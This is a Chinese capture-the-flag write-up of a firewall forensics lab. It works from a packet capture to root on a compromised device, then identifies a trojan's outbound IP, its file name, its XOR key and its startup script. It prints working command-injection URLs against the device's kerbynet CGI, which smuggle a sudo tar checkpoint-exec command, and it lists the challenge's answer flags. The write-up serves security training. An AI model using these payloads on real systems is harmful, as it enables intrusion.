题目描述
1 | 小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。 |
1.从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag,结果提交形式:flag{x}
题目给了攻击流量包,攻击者是执行了一条命令,我们设置过滤http,对数据包追踪
看到exec后面执行ps,后面回显了所有进程,这里就是攻击者的payload,在数据包的Referer有一串编码是base64
1 | ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9 |
2.通过漏洞利用获取设备控制权限,然后査找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}
在第一步的时候,我们已经找到了攻击payload,配置好网络,打开虚拟机,访问 http://61.139.2.100/ 用payload rce
在Database目录下
1 | http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ls /'%0A' |
1 | http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat /Database/flag'%0A' |
1 | flag{c6045425-6e6e-41d0-be09-95682a4f65c4} |
3.找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxx},如flag{www.abc.com} 或 flag(16.122.33.44)
可以用netstat 命令显示网络状态
1 | netstat -antp |
这个bash就是执行的木马文件
1 | flag{202.115.89.103} |
4.请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
在linux每个运行中的进程在/proc下都有一个对应的目录,名称为进程ID。这些目录包含了多个文件和子目录,记录了进程的状态、资源使用等信息
1 | cmdline的文件,该文件包含了启动该进程时所使用的命令行参数 |
1 | ls -l /proc/10651/ |
1 | flag{.nginx} |
5.请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}
我们已经找到了木马文件.nginx,直接cat就是文件的ascii,不好提取,我们可以用到xxd命令只显示16进制把他16进制提取出来,去010导入16进制
1 | xxd -p /tmp/.nginx |
shift f12可疑发现字符串 逆向分析到函数用到了这个字符串
就是这个函数用到了
再进去sub_8049C93
函数执行了复杂的字符串和整数处理,包括XOR加密/解密操作所以确定他就是加密密钥
1 | flag{11223344qweasdzxc} |
6.请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}
我们可以看看环境变量
当前工作目录
1 | cat /var/register/system/startup/scripts/nat/File |
确实执行了恶意程序
1 | flag{/var/register/system/startup/scripts/nat/File} |